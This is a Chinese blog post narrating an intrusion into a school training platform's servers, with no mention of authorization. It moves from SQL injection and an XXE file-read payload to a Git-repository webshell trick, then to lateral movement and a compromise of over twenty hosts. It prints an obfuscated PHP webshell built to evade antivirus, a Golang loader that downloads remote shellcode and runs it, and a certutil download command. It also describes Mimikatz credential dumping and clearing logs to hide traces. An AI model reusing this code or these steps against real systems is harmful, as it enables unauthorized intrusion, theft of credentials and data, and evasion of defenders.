零基础学黑客,搜索公众号:白帽子左一
某天工作室小伙伴发了个某学校培训平台的URL给我说有注入,于是我们俩就开始了愉快的渗(mo)透(yu)旅程
从注入摸到XXE
首先这个站有一个学生登录口和一个管理登录口:
自然是先用学生身份注册一个账号,进去之后到处摸,然后在课程支付的地方找到一个注入点
因为这个培训平台的所有课程都是付费的,所以首先需要支付才能进行学习。在点击支付后会生成一个支付记录,然后跳转至另一个外部网站进行支付过程。然后就找到一个支付记录查询的页面:
对应HTTP包抓一下,发现user_course_id参数有注入:
GET /student/apply/uc/uc_pay_log_list.jsp?user_course_id=1102089&returl=uc%5fuser%5fcourse%5flist%2ejsp&13952 HTTP/1.1
Host: xxx
Cookie: xxx
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="90"
Sec-Ch-Ua-Mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: iframe
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
是一个MSSQL的bool盲注,数据库用户也是DBA,但是由于不知名原因没法堆叠注入,所以没法直接os-shell
然后跑一手admin表,直接出用户名密码(好家伙,密码直接明文保存)
然后用户名和密码登录管理界面,功能比学生的界面多了很多,可以系统的一些信息,发现Web是root起的
接着在里面乱摸,又摸到了几个注入点,但是由于已经注完了没什么用
然后有两个富文本编辑器ueditor和kindeditor,前者无洞,后者有可以上传HTML的JSP但是没解析,访问直接就下载了,研究了很久,无果
各种上传点也试了,限制得太死了没法绕过
然后找到在学习平台里面有个题目管理,每门课里面都有个在线练习,里面的题目配置长这样:
这不XML嘛,于是果断试一下XXE得不得行
编辑题目抓包,修改题目的XML数据,添加恶意实体:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE items [
<!ENTITY goodies SYSTEM "file:///etc/passwd"> ]>
<items>
<item><serial>1</serial><answer>0</answer><title>&goodies;</title></item>
<item><serial>2</serial><answer>1</answer><title><![CDATA[2]]></title></item>
<item><serial>3</serial><answer>0</answer><title><![CDATA[3]]></title></item>
<item><serial>4</serial><answer>0</answer><title><![CDATA[4]]></title></item>
</items>
打过去成功读到:
然后接着去读别的文件,访问目录可以直接返回当前目录下文件,但是发现一些带有特殊字符的文件就没法读出来,只能读一些ini、config、properties的文件,看样子像用XXE拖源码是不可能了
网上搜了一波,只有PHP可以支持php://伪协议从而给输出带一层编码,而这个系统的后端是JSP,故放弃,只能继续寻找有用的配置文件
发现Git仓库
摸到Web目录下,发现有.git/,config里面暴露了Git服务器地址
http://g.xxx:9000/,登上去一看是个带认证的自建GitLab服务器:
至此又卡住了,于是接着翻文件
/root下又翻到和Git相关的(好家伙是台实体机):
搜了下.git-credentials,好起来了:
在使用git协议拉取远程代码时,是需要进行用户身份认证的。虽然使用GitHub的开源库+HTTPS协议可以避免认证,但有些不方便公开的私有库就没办法使用了。在使用一些自动化脚本或构建系统时,无法人工手动的输入密码,这就需要使用git所提供的credentials功能来完成用户认证了。
是一个Git的用户认证凭据,打开一看是一对账户密码,拿去登一下GitLab,成功进入(好家伙,两页的仓库):
之前翻.bash_history还发现这台机装过Redis,有空接着摸一下文件,审源代码先
Getshell
审RESTful API的时候发现一个接口Git***Controller.java似乎可以直接进行Git的系统命令操作,部分核心代码如下:
private String gitCmds(String op) {
String path = request.getSession().getServletContext().getRealPath("/");
String[] cmds = null;
EOS os = OSInfo.getOSName();
if (os == EOS.Linux || os == EOS.Mac_OS || os == EOS.Mac_OS_X) {
cmds = new String[]{"cd " + path, "cd ..", "git " + op};
} else if (os == EOS.Windows) {
String diskIdentity = path.substring(0, 1);
cmds = new String[]{diskIdentity.toUpperCase() + ":", "cd " + path, "cd ..", "git " + op + ""};
}
String retstr = ShellUtil.runShell(cmds);
return retstr;
}
于是找到对应的路由,发现有一个已经配置好的/log,可以看提交记录,故尝试访问:
和GitLab那边比对了一下,完全一致,于是猜测仓库和Web目录可能是直接对应的(之前挖到的Git Config也进一步验证了这个想法)
于是想到了一个很骚的思路:
clone仓库,在隐蔽的地方加一个Webshell
commit然后push到GitLab仓库上去
使用Web的那个Git接口执行pull操作,拉取到了最新代码(也就是带Webshell的代码)
本地再进行还原,使用git reset --hard xxxx命令强制回退,再使用git push -u origin master -f强制推送至GitLab仓库
OK,仓库提交记录没有任何变化,如果需要复原只需再从Web端pull一次复原了的代码即可
当然这涉及到关键的业务数据和源代码了,建议如果要进行类似操作一定先自己测试一遍(我是在GitHub开了个新仓库测试的)
接下来果然一切都符合预期,轻松Getshell:
发现Web是反向代理开的,开在8080端口没对外开放,通过Nginx代理出去的
清了一波日志之后去搜了一波子域名,发现还有一个站pcc.xxx后台和这个基本一样,而且在GitLab上也有仓库,于是故技重施又打到了Git接口这
发现管理员有提交了,有冲突没法直接pull,在不进行太多改动的情况下没有继续搞了,然后审代码,发现上面那个gitCmds方法可以拼接命令注入……竟然过了这么久才发现
然后就直接反弹shell回来,写了个Webshell维持一下,然后就Getshell了
拿下第三台机器
整理一下目前得到的信息:
机器1,域名learn.***,外网IP ***.***.***.121,内网IP 192.168.0.125,用户root,系统版本CentOS Linux release 7.6.1810,部署有tomcat(通过反向代理走Nginx出网)、Redis(不出网)
机器2,域名pcc.***,外网IP ***.***.***.116,内网IP 192.168.0.106,用户root,系统版本CentOS Linux release 7.6.1810,部署有tomcat(通过反向代理走Nginx出网)
机器3,域名g.***,外网IP ***.***.***.126,内网IP未知,系统可能为Windows,部署有GitLab、Nexus Repository Manager OSS,尚未Getshell
内网代理Nmap扫描扫到前面两个站的数据库,然后翻源码找到了用户名和密码,直接可以登进去:
发现其中有一个数据库名字和主站某管理登录页面的URI一样,于是摸了一下摸到sys_user表,找到了管理登录的数据(真nb,这几个站连管理员的数据表名字都一模一样,真就找都不用找)
登录进去之后发现功能太多太杂了懒得看,索性直接搞源码下来看
因为是拿下了Git服务器嘛,所以还是先搜搜也没有Git操作的代码,结果果然没有令我失望:
@POST
@Path("/pull")
@Produces(MediaType.APPLICATION_JSON)
public Response query(@DefaultValue("") @HeaderParam("X-Gitlab-Token") String sToken) {
I***StudentGitConfig config = new I***StudentGitConfig();
if (!config.getToken().toLowerCase().equals(sToken.toLowerCase())) {
System.out.println("errorToken========" + sToken);
return ResponseUtils.doError();
}
if (!SystemSetting.isGitAuto()) {
System.out.println("GitAuto========off");
return ResponseUtils.doError();
}
GitUtil.pull(config);
return ResponseUtils.doSuccess();
}
这个接口整的就比之前那个高级一点,先是加载了配置数据,还比对了一个GUID类型的Token,我就先摸到那个GitConfig的代码,获取到了Token,然后按要求打过去发现一直报错:
然后再去审GitUtil的代码,发现还要对应的数据表配置项里面的数据符合要求,于是直接修改后再请求,成功了:
后面就又是故技重施了,直接拿下第三台机器student.***(因为配置文件里面加载的不是本站的代码,而是另一个站的也就是student.***的代码)
然后发现student.和learn.的公网IP一样,但是Getshell之后的内网IP和文件内容之类的完全不一样,于是猜测IP..***.121是一个反向代理服务器,基于请求的Host再分配给不同的内网机器来处理,也就是说student.***和learn.***应该是没有公网IP的
内网横向
之后又翻了一段时间源代码,没有看到对主站的Git接口,所以暂时就没去管主站了(其实是主站的后台管理里面的功能太tm多了懒得看)
于是又把目光移向了数据库,最一开始摸到注入的时候得到用户是DBA,于是直接试了下xp_cmdshell,成功执行,发现这两台数据库服务器不出网:
看了下systeminfo也是没有域环境的,一台Server2008一台Server2019,两台都开了3389
因为不出网,所以要上线就要做代理,我用Pystinger发现没法带出来,所以就只能作罢
接着摸旁站,发现在仓库里有源代码的某站myxx.xxx连接的是另一个数据库,内网IP为192.168.0.10于是直接连接,执行命令发现是SYSTEM权限,且可以出网:
搜集一波基础信息:
机器192.168.0.10,还有一个内网IP192.168.0.14以及另一个C段的内网IP192.168.138.10,通过NAT出网,是一台2008的机器,没有域的存在,查了下杀软有360,但是只打了三个补丁(不会真有人觉得不打补丁单靠360有用吧),遂连免杀都没做直接上线:
接下来是先注入到一些常驻的进程(比如services.exe这种很多进程都把它作为父进程的进程),然后Mimikatz抓了一波密码,好家伙合着这个管理员在哪个网站都是用这同一套的密码……
现在大致可以知道整个内网的情况,首先域环境是没有的了,所以目的就是拿下尽可能多的机器了
接下来写了个脚本扫了下内网的MSSQL数据库,一共扫出来不少,其中有SYSTEM,有低权限用户,还有不出网的机器
神奇的超市网站
也扫了下内网的Web,扫出来个很神奇的网站192.168.0.220:
是一个超市的站,但是似乎是个废站了,图片之类的东西全部加载不出来,有注册功能,发送手机验证码也莫得反应
于是通过看源代码,把关键字段丢Github去搜,搜到了该系统后台疑似Ecshop:
百度了一下exp,好家伙,洞那叫一个多啊,Github随便找了一个exp试试看,发现存在能够写进去但是秒被删的情况,洞介绍:ECShop全系列版本远程代码执行高危漏洞分析+实战提权:https://www.freebuf.com/column/185049.html
于是开始认真看这个洞的原理,是一个基于Referer的SQL注入+RCE,Github上面找的工具请求都是写死了的局限性很大,解出来之后改了一下就可以了:
发现是Windows机,所以猜测之前秒被删的情况是被杀软拦截了,因为之前找的工具是直接自动化写一句话,没有做免杀
稍微做了下免杀,首先把assert拆开变成chr()逐字符拼接绕过敏感字符的匹配,然后用file_put_contents加绝对路径就可以写进去了
第一次写入之后发现另一个问题:所有引号被做了转义所以报错,遂把所有字符串都改成了chr()的形式,最终形成的一句话如下:
<?php
$ch=explode(chr(46),chr(104).chr(101).chr(108).chr(108).chr(111).chr(46).chr(97).chr(115).chr(46).chr(119).chr(111).chr(114).chr(108).chr(100).chr(46).chr(115).chr(101).chr(46).chr(114).chr(116)); // hello.as.world.se.rt
$c=$ch[1].$ch[3].$ch[4]; // assert
$c($_POST[chr(97)]);
?>
本来想用冰蝎更稳一点,但是发现目标机器没启用OpenSSL库导致连不上,于是就用蚁剑了,加了个base64编码顺利连上:
Getshell之后翻看了一下,从用户名和里面文件来看应该是一台比较重要的个人服务器,里面也安装了钉钉、360安全浏览器这些东西,再加上用户名在之前拿下的很多网站都有管理员账户,所以目测是一台较核心的机器
Golang简单的免杀
至此已经拿下了7台机器了(4台Windows均为内网机器,SYSTEM权限、3台Linux为边缘服务器,root权限),由于有的机器不出网,所以统一管理起来很不方便,所以我斗胆在其中一台Linux服务器上某个不起眼的角落部署了一个CS Teamserver,然后将CS通过代理代进内网连接,这样就方便很多了
然后继续寻找手段让192.168.0.220的机器上线,由于查看tasklist有360,同时也试过了直接传Web一句话会被删除,并且测试发现蚁剑里面没法执行Powershell命令,一执行就不返回,不知道什么原因只能使用传统的exe上线了
由于之前有研究过一点点免杀,通过远程加载Shellcode+Shellcode的轻微变形就可以实现大部分国内杀毒软件的免杀了,同时我用了Golang,相对免杀会更容易一些(唯一的缺点就是生成的文件太大了,不过也问题不大,实际可以基于场景来进行选择)
源代码很简单,就是通过HTTP获取Shellcode,然后Base64解密后通过调用Windows的API来进行分配内存、复制数据和调用等操作:
package main
import (
"syscall"
"unsafe"
"io/ioutil"
"net/http"
"encoding/base64"
)
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
)
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)
func getCode() []byte {
resp, _ := http.Get("http://192.168.0.125:8080/3.txt")
body, _ := ioutil.ReadAll(resp.Body)
decodeBytes, _ := base64.StdEncoding.DecodeString(string(body))
return decodeBytes
}
func main() {
xor_shellcode := getCode()
addr, _, err := VirtualAlloc.Call(0, uintptr(len(xor_shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&xor_shellcode[0])), uintptr(len(xor_shellcode)))
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
syscall.Syscall(addr, 0, 0, 0, 0)
}
编译出来文件大小6.14MB,将其放在已经拿下的某服务器目录下,在不出网的机器上使用certutil就可以下载exe了
certutil -urlcache -split -f <URL> <Destination>
下载后运行,CS上线,抓哈希之后直接RDP连接:
大概翻了下文件,这台机器只有俩盘,但是有很多内网盘连接在上面,点进去也都只有Web目录是暴露的,看样子还是台开发机()
翻来翻去也没看到啥,数据库之前都已经翻过了,Web目录里面也都是Git仓库里面的东西,于是开始寻找新的方向
翻翻常用软件吧,随便一找找到了Xshell,点进去发现大量连接会话信息,有部分可以直接连接上服务器:
于是我用之前日下的一台Linux做跳板,把公钥都传上去以实现无密码登录,又拿下了8台Linux机器
小总结
做了这么多,也该总结下了
目前一共拿下Linux主机11台,均为root权限,Windows主机12台,其中5台SYSTEM权限,7台为数据库权限
这些新拿下的Linux机器目前还没有和已知的域名关联上,后续可以研究一下,然后就是那个Git仓库的服务器了,似乎不在这个内网之中,不知道是VPS还是啥
结合内网扫描的结果,目前这个平台的几个核心域名下的服务器都被拿下了,内网也摸得差不多了,数据库基本全部拿下,所以可能整个渗透就先告一段落了
这次渗透其实真的比较简单,除去最一开始的Web漏洞之外,还有就是通过发现了这个平台开发人员的种种恶习才能够这么顺利,比如很多后台系统的数据库里密码都是明文保存的(1202年了还有人不知道要加哈希吗)
再加上这些开发管理人员在所有系统用的都是同一套账号密码,基本上就是那几个变体,通过撞库很容易撞开一些系统的验证,再有就是一些旧站、废站不予以关闭一直开在那,有漏洞的话就很容易被利用下来(所以为什么那个核心的开发机器上面会开一个超市的网站,我至今都没有想通)
最后附一个清理痕迹的链接:
安全研究 | 后渗透阶段清理痕迹方式总结(https://www.freebuf.com/articles/system/266458.html)
Windows 入侵痕迹清理技巧(https://www.cnblogs.com/xiaozi/p/13633934.html)
作者: Jiekang Hu
原文链接: https://www.hujiekang.top/2021/06/23/peixun-pentest/